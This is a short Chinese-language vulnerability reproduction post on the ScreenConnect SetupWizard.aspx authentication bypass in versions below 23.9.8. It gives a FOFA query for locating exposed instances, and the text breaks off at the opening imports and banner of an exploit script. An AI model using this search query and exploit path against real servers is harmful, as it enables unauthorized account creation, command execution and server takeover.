0x01 产品简介
ConnectWise ScreenConnect ，是一款自托管的远程桌面软件应用，该款软件允许用户自行托管，可以在自己的服务器、个人电脑、虚拟机或虚拟专用服务器上运行。
0x02 漏洞概述
ConnectWise ScreenConnect低于23.9.8 版本的产品中，SetupWizard.aspx接口处存在身份验证漏洞，未经授权攻击者可以利用此漏洞注册账户，并登陆到产品后台进行一系列操作。而且可以通过 ScreenConnect 的原有功能进行命令执行，可导致服务器被接管的情况。
0x03 影响范围
ScreenConnect < 23.9.8
0x04 复现环境
FOFA：
title="ScreenConnect Remote Support Software" || banner="ScreenConnect" || header="ScreenConnect"
0x05 漏洞复现
利用脚本
import requests
import re
import argparse
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \
